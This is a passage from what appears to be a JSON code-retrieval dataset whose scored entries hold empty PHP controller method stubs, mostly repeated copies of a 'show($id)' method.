{\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "d49f4e51972ac93263ce45277638f862", "score": "0.56985086", "text": "public function show($id) {\n\t\t\t\n\t}", "title": "" }, { "docid": "7b283ba1c0546a155efc95a44dd0f9cf", "score": "0.56981397", "text": "public function show(Response $response)\n {\n //\n }", "title": "" }, { "docid": "2204f8d554d9525d60e0aba235700bfd", "score": "0.56858474", "text": "public function locate($resource);", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" } ]